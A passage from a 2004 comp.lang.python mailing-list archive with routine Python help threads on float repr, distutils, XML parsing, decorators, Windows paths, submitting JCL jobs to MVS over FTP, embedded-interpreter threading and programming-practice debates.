	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
	<cjbqfv$kdm$1@pegasus.csx.cam.ac.uk>
Message-ID: <F5CdnYnGjMVL8sTcRVn-rw@powergate.ca>

Michael Hoffman wrote:
> Tim Roberts wrote:
> 
>> Right!  That's the point.  str() is the perfect solution in those cases
>> where you want the language to lie to you.  In many cases, that IS 
>> what you
>> want.  repr() is the perfect solution when you need an invertible 
>> function.
> 
> repr() does not provide an invertible function if you are using it on a 
> list, as was pointed out here, since list.__repr__() essentially calls 
> str() for its float members rather than repr().

It does?

 >>> [0.66]
[0.66000000000000003]
 >>> repr([0.66])
[0.66000000000000003]'
 >>> str([0.66])
[0.66000000000000003]'
 >>> str(0.66)
'0.66'
 >>> repr(0.66)
'0.66000000000000003'


-Peter


From theller at python.net  Wed Sep 22 02:42:01 2004
From: theller at python.net (Thomas Heller)
Date: Wed, 22 Sep 2004 08:42:01 +0200
Subject: Distutils and binaries without compilation
References: <mailman.3628.1095759923.5135.python-list@python.org>
Message-ID: <1xguoldy.fsf@python.net>

"Mark English" <Mark.English at liffe.com> writes:

> The short version of this question is how do you include binaries in a
> distribution without including their source ?
>
> The long version follows...
[snipped]

You have two choices, imo:

- hack/extend distutils to do what you want

- go the easy route, and write a simple script which creates a zipfile
for you.

Thomas


From uche.ogbuji at fourthought.com  Thu Sep  9 16:40:06 2004
From: uche.ogbuji at fourthought.com (Uche Ogbuji)
Date: Thu, 09 Sep 2004 14:40:06 -0600
Subject: [XML-SIG] minidom parse error - keyerror
In-Reply-To: <1094704456.413fdd48349c1@www-mail.usyd.edu.au>
References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
	<mailman.3019.1094619792.5135.python-list@python.org>
	<RQB%c.26808$Z14.8877@news.indigo.ie>
	<1094704456.413fdd48349c1@www-mail.usyd.edu.au>
Message-ID: <1094762405.16237.329.camel@borgia>

On Wed, 2004-09-08 at 22:34, Ajay wrote:
> hi!
> 
> 
> Quoting Alan Kennedy <alanmk at hotmail.com>:
> 
> > [Ajay]
> > > i have tried the archives now and heaps of Google searches but am no
> > closer
> > > to finding out what the error is.
> > >
> > > the error does not appear if i use expat.
> >
> > and
> >
> > >>i am parsing the attached document.
> > >>the code is
> > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> > >>ruleSet = parse(ruleSetFile, parser=parser)

You've got some odd code here.  The following works for me (no errors):

>>> from xml.sax import make_parser
>>> parser = make_parser('xml.sax.drivers2.drv_xmlproc')
>>> ruleSet = parser.parse("foo.xml")

Where "foo.xml" is the file I pasted in from your message.


-- 
Uche Ogbuji                                    Fourthought, Inc.
http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK.  http://xmlopen.org

A hands-on introduction to ISO Schematron - http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html
Practical (Python) SAX Notes - http://www.xml.com/pub/a/2004/08/11/py-xml.html
XML circles the globe - http://www.javareport.com/article.asp?id=9797
Element structures for names and addresses - http://www.ibm.com/developerworks/xml/library/x-elemdes.html
Commentary on "Objects. Encapsulation. XML?" - http://www.adtmag.com/article.asp?id=9090
Harold's Effective XML - http://www.ibm.com/developerworks/xml/library/x-think25.html
A survey of XML standards - http://www-106.ibm.com/developerworks/xml/library/x-stand4/



From alloydflanagan at comcast.net  Fri Sep 24 16:34:37 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 24 Sep 2004 13:34:37 -0700
Subject: Access to MS SQL from Linux?
References: <mailman.3764.1095928105.5135.python-list@python.org>
Message-ID: <e838aa6e.0409241234.60ac4645@posting.google.com>

Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote in message news:<mailman.3764.1095928105.5135.python-list at python.org>...
> [Joe Wong]
> 
> > Hi,
>  
> > Is there any Python library for accessing MS SQL server 
> > from a Linux machine? Either open source or commerical one will do for me.
> 

I would think the ODBC driver would be the first choice.  ODBC is
Microsoft's spec, they generally support it pretty thoroughly.  You
could check out the Win32 stuff and use COM to talk to an ADO server,
if you felt really ambitious.


From dropthis_fanmail at micah-wedemeyer.net  Mon Sep 20 18:39:10 2004
From: dropthis_fanmail at micah-wedemeyer.net (Micah)
Date: Mon, 20 Sep 2004 18:39:10 -0400
Subject: parameter passing question (you were right)
References: <mailman.3610.1095718970.5135.python-list@python.org>
Message-ID: <cinm6e$hv3$1@news-int2.gatech.edu>

Ignore my previous post.  I tried your idea and it worked fine.

Thanks again,
Micah


"Robert Brewer" <fumanchu at amor.org> wrote in message
news:mailman.3610.1095718970.5135.python-list at python.org...
Micah wrote:
> Basically, I want to be able to call a function on a list of arguments
> without knowing the syntax of the function.  I guess a code
> example would be
> best:
>
> -------
> def foo(arg1, arg2):
>     # Do something with arg1 and arg2
>
> def main():
>     f = foo
>     args = ["hello", "world"]
>     # Want to call foo("hello", "world") using variable f and
> list args
> --------
>
> So, what I'm trying to do is call f(args[0], args[1]).
> However, I want to
> be able to do it with any length argument list.  Given any
> function f and a
> list of arguments args, I want to be able to call f(args[0],
> args[1], ...,
> args[n])

Use the variable-arg techniques described in:
http://docs.python.org/ref/function.html

def foo(*args):
    # Do something with arg[0], arg[1], ...

def main():
    f = foo
    args = ["hello", "world"]
    f(*args)


HTH,

Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org




From adalke at mindspring.com  Sat Sep 11 05:18:12 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Sep 2004 09:18:12 GMT
Subject: string formatting with mapping & '*'...  is this a bug?
In-Reply-To: <1gjxvym.103ml938difr2N%aleaxit@yahoo.com>
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
	<20040909152328.2233c917@gypsy.pfortin.com>
	<chqjc3$n2o$00$1@news.t-online.com>
	<1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com>
	<20040909183705.69696290@gypsy.pfortin.com>
	<1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com>
	<20040910064659.7a1c66af@gypsy.pfortin.com>
	<1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com>
	<20040910093156.4cfcb6ff@gypsy.pfortin.com>
	<1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com>
	<PTr0d.3105$xA1.2293@newsread3.news.pas.earthlink.net>
	<1gjxvym.103ml938difr2N%aleaxit@yahoo.com>
Message-ID: <opz0d.162$_G4.57@newsread3.news.pas.earthlink.net>

Me:
>>It's hard to make the call signature correct though.

Alex:
> Maybe module inspect could help -- it's generally the best way to
> introspect function signatures in Python.  But, perhaps accepting some
> sloppiness at the margins, we might code something like (untested!!!):

I had considered that approach.  My concern is that
with @decorators current introspection techniques, like
help(), pydoc, and tooltips will become less useful.

For example, here's what help() does on your 'foo' class.

class foo
  |  Methods defined here:
  |
  |  __init__(self, *as, **kw)
  |
  |  __str__(self)

The inability to propogate the call signature seems to
be an ugly limitation to decorators, and I don't see
an elegant solution to it.  I've thought of some hacks,
like calling a function with the original function (f)
and the wrapped function (g), to have it return a new
function (h) with the right signature so that calling
h() pivots and passes things to g() so it can do it's
work then call f().

Matters gets even more complicated with @decorator chains.

BTW, I thought there might be a problem already with
classmethod and staticmethod but it looks like the inspect
module knows how to peer inside to get what it needs.
The same trick won't work for user-defined @decorator
wrappers.

				Andrew
				dalke at dalkescientific.com


From mwh at python.net  Tue Sep 14 07:39:28 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Sep 2004 11:39:28 GMT
Subject: Greenlets: where are they now???
References: <foadnUs_VtNpFdncRVn-jQ@lmi.net>
	<m37jqybc1m.fsf@pc150.maths.bris.ac.uk>
	<4edc17eb.0409132016.78efa46d@posting.google.com>
Message-ID: <m3acvt9j0v.fsf@pc150.maths.bris.ac.uk>

michele.simionato at gmail.com (Michele Simionato) writes:

> Michael Hudson <mwh at python.net> wrote in message news:<m37jqybc1m.fsf at pc150.maths.bris.ac.uk>...
> > "It is tough to make predictions, especially about the future."
> >          -- Yogi Berra
> 
> I think I saw this attributed to Nils Bohr. Can somebody check?

Hmm.  I already had :) but googling just now found this page:

    http://www.larry.denenberg.com/predictions.html

which attributes variations on the above sentiment to just about
everyone you've ever heard of.

The phrasing above is certainly attributed to Yogi Berra pretty often.
Bohr is more likely to have the wildly different phrase:

    "Prediction is very difficult, especially about the future."

attributed to him :)

It's a fairly obvious thought, after all.

Cheers,
mwh

-- 
 "Sturgeon's Law (90% of everything is crap) applies to Usenet."
 "Nothing guarantees that the 10% isn't crap, too."
                -- Gene Spafford's Axiom #2 of Usenet, and a corollary


From peter at engcorp.com  Tue Sep 14 21:03:44 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 21:03:44 -0400
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <mailman.3334.1095201604.5135.python-list@python.org>
References: <mailman.3327.1095192228.5135.python-list@python.org>	<ci7kou$eqj$00$1@news.t-online.com>	<qOGdnf9RP5WexdrcRVn-oA@powergate.ca>	<mailman.3331.1095196635.5135.python-list@python.org>	<q-KdnbQfKohB8NrcRVn-ug@powergate.ca>
	<mailman.3334.1095201604.5135.python-list@python.org>
Message-ID: <huCdnXtcC8xsCdrcRVn-sg@powergate.ca>

Carlos Ribeiro wrote:

> On Tue, 14 Sep 2004 18:16:59 -0400, Peter Hansen <peter at engcorp.com> wrote:
> 
>>Do you have pywin32 (win32all) installed?  Try this one instead:
>>   win32api.GetFullPathName('c://work')
>>
>>This does the same as abspath does above, on mine.  
> 
> You're right. That's what I got now:
> 
> PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit
> (Intel)] on win32.
>>>>import win32api
>>>>win32api.GetFullPathName('c://work')
> 
> 'c:\\\\work'
> 
> It seems that either ActivePython uses a different implementation for
> os.abspath(), or the code changed between 2.3.2 and 2.3.4. The last
> time I checked ActivePython was still using 2.3.2 -- I'll check it out
> again, and upgrade if a newer version is available.

I reach a different conclusion.  Note that when I said "this
does the same as abspath does above", I meant that *my* output
for the GetFullPathName() call is actually this:

'c:\\work'

In other words, it appears to be an OS difference.  What flavour
and version of Windows are you running?  I'm using XP Pro SP2.

-Peter


From erik at heneryd.com  Mon Sep 27 10:14:55 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 27 Sep 2004 16:14:55 +0200
Subject: New to Python
In-Reply-To: <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>	<mailman.3722.1095866933.5135.python-list@python.org>	<pan.2004.09.23.17.02.22.649109@jerf.org>
	<poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>
Message-ID: <4158205F.9000903@heneryd.com>

Peter Hansen wrote:
> Jeremy Bowers wrote:
> 
>> On Wed, 22 Sep 2004 17:28:43 +0200, Erik Heneryd wrote:
>>
>>> I can't help to crack a smile every time I see that URL.  I doubt it 
>>> ever helped anyone, 
>>
>>
>> I think you mis-understand who it is supposed to help. That link is not
>> "Hey, this might help you, the poster.", it's "If you want any more help
>> from us, the minimal standards of helping us help you is laid out in this
>> document, as you've demonstrated you don't know. Further inquiries not
>> meeting this standard will most likely be ignored."
>> In other words, it is to help the helpers, by cleanly laying out the
>> requirements, not really the asker. In that regard it works; since that
>> link became popular I haven't seen a flamewar over the standards of 
>> asking
>> for help. It has done exactly what it was supposed to do.
> 
> 
> In addition, it's posted not only for the OP, who may well
> ignore it as some do, but also for the benefit of others
> who are lurking, possibly new but possibly not, and who
> are about to post a question of their own.
> 
> You might also say it's for the benefit of many of the old-timers
> who are here, providing the answers.  Any such who *haven't*
> taken the time to read it, 10000 words or not, should do so
> at the earliest opportunity.  It isn't perfect, but it could
> well save you some time, embarrassment, or a public whipping.
> 
> -Peter

Uhm...  sure.  The point is that it *is* intimidating and that you'll 
have to be pretty darn dedicated to asking/answering to consider it 
worth the time.

Also, It's often used as an answer to dumb questions, without even a 
hint of what's stupid about it.  That's simply counterproductive. 
Simply stating "That's a stupid questiong, think about it, use common 
sense" would be more helpful.

And note that I wasn't talking about it's use in this thread or even 
c.l.p, but in general.


Erik


From gry at ll.mit.edu  Tue Sep  7 13:54:31 2004
From: gry at ll.mit.edu (gry at ll.mit.edu)
Date: 7 Sep 2004 10:54:31 -0700
Subject: lauch browser on remote windows mach from linux python?
Message-ID: <chkskn$ug4@odbk17.prod.google.com>

My users work at windows PC's.  They run my app on my linux server,
displaying the gtk/pytgk graphics via the hummingbird/exceed X server.
When a user clicks on a URL in my app, I want to lauch mozilla, running
on the PC, with the specified URL.  Is there some way to do this?

[sorry, I'm a unix/linux hacker -- no understanding of MS system stuff]

I can imagine a tiny python daemon running on each PC, listening for a
connection on a particular port, and reading a URL from it.
Can it just call os.system('mozilla ...')?
Or do I have to do some .com or .net thing?

I know this sounds like opening a huge security hole in the PC, but
it's MS -- isn't that where holes belong ;-).  The daemon could reject
all but appropriate local URL's.

-- George Young



From erik at heneryd.com  Mon Sep 13 15:08:51 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 13 Sep 2004 21:08:51 +0200
Subject: Small inconsistency between string.split and "".split
In-Reply-To: <A128D751272CD411BC9200508BC2194D053C7946@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D053C7946@escpl.tcp.com.ar>
Message-ID: <4145F043.1070502@heneryd.com>

Batista, Facundo wrote:
> [Erik Heneryd]
> 
> #- 2) You can get the same behavior from str.split() by using 
> #- None as the 
> #- separator (undocumented, I guess).
> 
> Worst: it's explicitly in other way:
> 
> 	split([sep [,maxsplit]])
> 
> There, taken from the docs, say that "It's optional to include sep, and if
> you include sep, you could also (optionally) include maxsplit".

How is that different from what I said? ("If you look at the string lib 
docs, the parameters are meant to be positional, not keywords")


Erik

ps. ...and yeah, if I really had looked (more closely), I would've seen 
that None as separator is documented after all... :) ds.


From richie at entrian.com  Fri Sep  3 06:47:39 2004
From: richie at entrian.com (Richie Hindle)
Date: Fri, 03 Sep 2004 11:47:39 +0100
Subject: Announcing PyCs, a new Python-like language on .Net
In-Reply-To: <1f7befae04090220356ce53a07@mail.gmail.com>
References: <mailman.2572.1093751093.5135.python-list@python.org>
	<99dce321.0408292132.36ef381e@posting.google.com>
	<tcnyyenzzf4d.y8gn2kmuvrqm.dlg@40tude.net>
	<1f7befae04090220356ce53a07@mail.gmail.com>
Message-ID: <dnigj0hamrbvtpmv7ts5mdhi0csr6srqlg@4ax.com>


[Tim]
> If the general Python
> community can't see value in fresh approaches (which is likely true of
> all, um, "mature" language communities in-the-large), maybe sticking
> to python-dev would cut some needless grief from your life.

As a very small part of "the general Python community", I'd like to
encourage Mark to continue his occasional posts to comp.lang.python.  One
the good things about this newsgroup is that it sometimes wanders slightly
(!) off-topic, but those wanderings are usually illuminating.  Mark's
projects are more on-topic than many other threads.

-- 
Richie Hindle
richie at entrian.com



From alexander.hoffmann at netgenius.de  Mon Sep  6 19:39:17 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Tue, 7 Sep 2004 01:39:17 +0200
Subject: How to actually write a program?
In-Reply-To: <O9GdnTcSZLeCcaHcRVn-oA@powergate.ca>
References: <chano0$1gv$1@sparta.btinternet.com>
	<mailman.2916.1094457850.5135.python-list@python.org>
	<O9GdnTcSZLeCcaHcRVn-oA@powergate.ca>
Message-ID: <200409070139.17788.alexander.hoffmann@netgenius.de>

Hello,

On Tuesday 07 September 2004 01:02, Peter Hansen wrote:
> Neil Benn wrote:
> > Nick Evans wrote:
> >> I have been on and off learning to code ...
> >
> >          It's good that you are thinking of this rather than just trying
> > to manically write some code to see what happens.  As a general point,
> > there is a system that you can use to help you model out your program
> > (taught to most computer science students).  This system is called UML
yes, I know ;-)
> > (Unified Modeling Language) - I would advise getting a good book about
> > UML and reading through that.
>
> Ahhh!!  Run!  Run, Neil, run!  UML!

Please, stay calm ! I recommend you not to run because because UML is nothing 
you should fear, but also forget about the UML book FOR THE MOMENT !

Please reflect on your goals. Why do you want to write programs, what are they 
meant to be used for in the end ? If you want to write very small programs to 
be used like shell scripts on your private Linux box, then never spend your 
time with UML, extreme programming, unit tests and all that stuff. 
If you plan to write rich featured applications or even deamon processes then 
first lean the basic ideas of how to write code. There are lots of tutorials 
and books around that help you gain success very quickly. Write some little 
apps and watch them doing their job.
When you're done, then take care of how to write bigger programs. Now you 
should learn how to design an application, in what parts or modules it should 
be implemented and how these modules shall communicate / work together. This 
is what you should utilize PARTS of UML for. I strongly recommend you to look 
at static structure diagrams, use cases and time line diagrams. The other 
parts of UML are only useful in theory, they take much more time to be 
created than they will ever save.
Once you are familiar with basic Python programming and with application 
design (e.g. UML), then the last step I recommend to become a *nearly* (who 
really claims to be completely) perfect developer is to understand the 
importance of testing. When you are implementing a real big application you 
are lost without it. I am using unit tests and they help me very much. With 
these you can test first very small parts of your application and then later 
combine the test to cover more and more of the whole program. Indeed there is 
no need to argue for unit testing (when writing really big applications): try 
it and you will appreciate it !

Regards,
Alex

> > It's is complementary to the XP (Extreme
> > Programming) stuff that people are talking about.
>
> Ahhh!!! Run away some more!  UML and XP are nearly anti-thetical.
> Don't even consider going there.  (Well, consider it, but please
> don't waste any money buying a UML book as you do.  Find a few
> web sites, then ... run away!  It's cheaper that way.)
>
> In my opinion, if you try to get a beginning programmer to work using
> UML when he isn't even sure how to start writing code in an empty
> file, you will not have a beginning programmer for long.  And I
> don't mean because you've just got him over that initial hump...
>
> In another opinion of mine, if you try to get a more advanced
> programmer to work using UML, you also deserve whatever you get...
>
> -rabidly-anti-UML-ically y'rs,
>   Peter


From chrisNOSPAM at spam.com  Mon Sep 27 04:06:16 2004
From: chrisNOSPAM at spam.com (Chris)
Date: Mon, 27 Sep 2004 10:06:16 +0200
Subject: launching JCL on MVS
References: <1095065818.428799@ftpgate><mailman.3230.1095079924.5135.python-list@python.org><1095082883.249188@ftpgate>
	<mailman.3236.1095084343.5135.python-list@python.org>
Message-ID: <1096272376.394337@ftpgate>

Thanks for the help!

Here is what worked:
ftp.voidcmd( "site file=JES" )
"quote" is already done by ftplib

ftp.retrlines( "RETR 'PATH.ON.HOST(JCLNAME)'")
GET is an unknown command, althought it's what works in FTP command line...

Chris

"Jaime Wyant" <programmer.py at gmail.com> a ?crit dans le message de news:
mailman.3236.1095084343.5135.python-list at python.org...
The code i showed you submitted a job to the mainframe via ftp.  The
catch was the JCL had to be in the CWD.  I'm not sure how to submit a
job that is *already* on the mainframe...

A google pointed me here:

http://www.wright.edu/cats/docs/docroom/mainframe/mvsftp.htm

According to this document you:

1) create the JCL on the mainframe
2) issue this site command -> "SITE FILETYPE=JES"
    Using ftplib's FTP object, that would be:
        ftp.voidcmd( "quote site file=JES" )

3) issue a GET command ->  GET jclfilename outputfilename
    jclfilename is the job to submit.
    outputfilename holds the output of the job.

    I *think* you would use ftplib's retrlines function like so:
        ftp.retrlines( "GET jclfilename", cbfun )

    Where cbfun is a callback function that will receive the output of
the job one line at a time, sans the CR/LF.

hth,
jw

On Mon, 13 Sep 2004 15:41:22 +0200, Chris <chrisnospam at spam.com> wrote:
> Thanks, but what does it do? Upload test.jcl and execute it?
> Let's say that I already have a "TEST" JCL on the HOST, how can I execute
it
> via an FTP command?
>
> Chris
>
> "Jaime Wyant" <programmer.py at gmail.com> a ?crit dans le message de news:
> mailman.3230.1095079924.5135.python-list at python.org...
>
>
> > Disclaimer - I've never used ftplib, so the code below hasn't actually
> > been tested..
> >
> > First, create some JCL.  For this example assume it is test.jcl and it
> > is in the CWD.
> >
> > # Connect to the server
> > >>> from ftplib import FTP
> > >>> ftp = FTP("hostname")   # connect to host, default port
> > >>> ftp.login("username", "password")
> >
> > # Tell the server you're about to send it some JCL to execute
> > >>> ftp.voidcmd( "quote site file=JES" )
> >
> > # Upload the JCL
> > >>> print ftp.storlines( "STOR", file("test.jcl") )
> >
> > The last command ought to print ought the Job ID (and a few other
things).
> >
> > Good luck and let me know if that works for you.  Also, some of those
> > methods will raise exceptions if something goes wrong.  Check out
> > ftplib.py for good documentation.
> >
> > jw
> >
> > On Mon, 13 Sep 2004 10:56:57 +0200, Chris <chrisnospam at spam.com> wrote:
> > > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST
> (OS390) ?
> > >
> > > --
> > > http://mail.python.org/mailman/listinfo/python-list
> > >
>
>
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>




From pfortin at pfortin.com  Thu Sep 16 21:26:32 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Thu, 16 Sep 2004 21:26:32 -0400
Subject: Incrementing a string -- puzzing "solution"...
References: <pan.2004.09.15.22.08.19.894702@cox.net>
	<20040916004438.657b50a4@gypsy.pfortin.com>
	<mailman.3426.1095383641.5135.python-list@python.org>
Message-ID: <20040916212632.05d9b15b@gypsy.pfortin.com>

On Thu, 16 Sep 2004 21:13:50 -0400 Terry wrote:

> I hope the mechanism is now clearer for you.

Yes, thank you...  I was getting pretty sleepy at the time and I thought
this was likely -- obviously since I coded it... :^)  I was wanting the
effect I finally got, just was unclear how it was actually occurring....

One more notch on the road to expert level...  :>

-30-

BTW, someone wondered about "-30-"...  

>From journalism handbooks:
      At the end of a story, write "End" or "30" -- a journalism symbol
      for "finish".

I use it when I'm pretty sure I'm done with a thread...

Regards,
Pierre


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Wed Sep  1 05:13:57 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Wed, 1 Sep 2004 11:13:57 +0200
Subject: Script executes script?
References: <c869ac1b.0409010014.4c581fc@posting.google.com>
Message-ID: <ch43t4$r5q$1@news-reader4.wanadoo.fr>

Hi !


Try   execfile(





From peacock at simconv.com  Fri Sep 10 15:38:16 2004
From: peacock at simconv.com (Jack Peacock)
Date: Fri, 10 Sep 2004 12:38:16 -0700
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
Message-ID: <e4adnfxyXrI0n9_cRVn-sQ@mpowercom.net>

"Chuck Dillon" <spam at nimblegen.com> wrote in message 
news:chsu8b$ujb$1 at grandcanyon.binc.net...
> The U.S. President is limited to two four year terms so if someone is 
> locked up "forever" the power to do so must extend far beyond any 
> President.
That's why we have 4+ term incumbents in Congress.  Though I believe they 
are encouraged to accept retirement when they reach the age of 100.
  Jack Peacock 




From my.news.groups at noos.fr  Wed Sep 15 12:05:54 2004
From: my.news.groups at noos.fr (nik)
Date: Wed, 15 Sep 2004 18:05:54 +0200
Subject: Embedded python with threads
Message-ID: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net>

hi,

I have a C++ app that loads a python module and calls a function from 
it. The call is getting the contents of a list that's global in that module.

However, I'd like the python script to be also running a thread that 
fills that global list, but can't figure out how to do it. Essentially 
the code looks like;

in the C++ app;

////
Py_Initialize();

// PyImport_ImportModule blocks until the myModule script has run
// through...
PyObject* module = PyImport_ImportModule("myModule");

PyObject* function = PyObject_GetAttrString(module, "GetList");
while(1) {
	PyObject* pyList = PyObject_CallFunction(function, "");
	// use the stuff in pyList
	sleep(15);
	}
////

and in the myModule.py;

####
import thread
import time
orderListLock = thread.allocate_lock()

pyList = []

def GetList():
	global pyList
	tmpList = []
	orderListLock.acquire()
	tmpList = pyList
	orderListLock.release()
	return tmpList

def keepFillingListThread():
	global pyList
	while 1:
		orderListLock.acquire()
		pyList.append(somestuff)
		orderListLock.release()
		time.sleep(5)

# the following statement happens when the C++ app imports the module,
# but the thread only lives as long the main python thread (which is
# over straight away on my linux PC)

thread.start_new_thread(keepFillingListThread, ())

####

Has anyone any ideas?

thanks,
nik


From peterj at mail.com  Mon Sep 20 20:22:44 2004
From: peterj at mail.com (Peter Jensen)
Date: Tue, 21 Sep 2004 02:22:44 +0200
Subject: Error with output from a variable....
Message-ID: <414f740c$0$13806$ba624c82@nntp05.dk.telia.net>


Hi all.

I been playing around with this program, that lets you enter a student name, 
his studentcard numner and his address. You can then change the data, save 
it as a file, and load it again. All works except one tiny thing.

The error is in the: def udskriv_stud(studs):

def udskriv_stud(studs):
    print "De studerende i gruppen er:"
    for x in studs.keys():
        print "Navn: ",x," \tAarskortnummer: ", studs[x], "\tAdresse:" 
,adresse, #<--- Here is the error
        print ""
    print

When I enter more than one student the new address will overwrite the old 
one. So that when I print all the students in the file out, they will all 
have the address that I entered for the last student.

The code where I use the def udskriv_stud(studs): is

elif menu_choice == 2:
        print "Indtast navn og aarskortnummer:"
        navn = raw_input("Navn:")
        aarskortnummer = raw_input("Aarskortnummer:")
        adresse = raw_input("Adresse:")
        tilfoej_stud(phone_list,navn,aarskortnummer,adresse)


I can see that the it just replaces the raw_input value from adresse over 
and over again.
Do any of you have some good suggestions.

Thanks





From eviltofu at rocketmail.com  Mon Sep 20 03:24:53 2004
From: eviltofu at rocketmail.com (Jerome Chan)
Date: Mon, 20 Sep 2004 07:24:53 GMT
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
	<1095635849.649169.161680@k26g2000oda.googlegroups.com>
Message-ID: <eviltofu-30B89F.00245220092004@news.telus.net>

In article <1095635849.649169.161680 at k26g2000oda.googlegroups.com>,
 "Simon John" <simoninusa2001 at yahoo.co.uk> wrote:

> Don't feed the troll.
> 
> If he needs an IDE, then he is not a programmer, he's a code monkey,
> just like Java guys - they're a dime a dozen as they can't code, they
> rely on the auto-completion and drag'n'drop of visual IDEs.

Just my 2 cents.

I would love it if Python had an ide like Smalltalk's.


From steven.bethard at gmail.com  Wed Sep 29 12:15:17 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 29 Sep 2004 16:15:17 +0000 (UTC)
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
	<UZk6d.170834$3l3.71882@attbi_s03>
	<20040928220043.GB11275@unpythonic.net>
	<mailman.4039.1096409369.5135.python-list@python.org>
	<1gkvoks.1r0h9pxvanm4vN%aleaxit@yahoo.com>
Message-ID: <loom.20040929T181350-971@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> If you start with an L=list(L), you can also optionally L.reverse() to
> play with the ordering (if significant, issue still not clarified).

The order of the elements isn't crucial, but for debugging purposes it would 
be slightly better if they maintained order.

Steve





From max at alcyone.com  Wed Sep  8 19:42:43 2004
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Sep 2004 16:42:43 -0700
Subject: Machine identification
References: <01f101c495cd$a786cc40$054b12ac@D18SYX41>
	<mailman.3050.1094666837.5135.python-list@python.org>
	<O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com>
Message-ID: <413F98F3.1C52E635@alcyone.com>

John Fabiani wrote:

> The above does not work for me.
> 
> socket.gethostbyname(socket.gethostname())
> > '127.0.0.2'
> 
> the ip address is 192.168.1.211 for the computer. And 127.0.0.2 is not
> localhost.

It is likely your machine is misconfigured.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ My life was better before I knew you.
    -- Edith Wharton (to Morton Fullerton)


From bvande at po-box.mcgill.ca  Thu Sep 16 13:36:30 2004
From: bvande at po-box.mcgill.ca (Brian van den Broek)
Date: Thu, 16 Sep 2004 13:36:30 -0400
Subject: python: ascii read
In-Reply-To: <200409161856.23738.heikowu@ceosg.de>
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>
	<1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com>
	<4149B7B3.4000607@po-box.mcgill.ca>
	<200409161856.23738.heikowu@ceosg.de>
Message-ID: <4149CF1E.1090109@po-box.mcgill.ca>

Heiko Wundram said unto the world upon 2004-09-16 12:56:
> Am Donnerstag, 16. September 2004 17:56 schrieb Brian van den Broek:
> 
>>But I don't really feel I've a handle on the significance of saying it
>>maps the file into memory versus reading the file. The naive thought is
>>that since the data gets into memory, the file must be read. But this
>>makes me sure I'm missing a distinction in the terminology. Explanations
>>and pointers for what to read gratefully received.
> 
> 
> read()ing a file into memory does what it says; it reads the binary data from 
> the disk all at once, and allocates main memory (as needed) to fit all the 
> data there. Memory mapping a file (or device or whatever) means that the 
> virtual memory architecture is involved. What happens here:
> 

<Much helpful detail SNIPed>


> 
> HTH!
> 
> Heiko.

Thanks a lot for the detailed account, Heiko.

Best,

Brian vdB



From bradtilley at usa.net  Wed Sep 15 13:21:45 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 13:21:45 -0400
Subject: socket programming
In-Reply-To: <tusgk051t94u4uqeamqm8eiqancch0o93n@4ax.com>
References: <mailman.3372.1095266959.5135.python-list@python.org>
	<tusgk051t94u4uqeamqm8eiqancch0o93n@4ax.com>
Message-ID: <ci9tn9$71t$2@solaris.cc.vt.edu>

Rene Pijlman wrote:
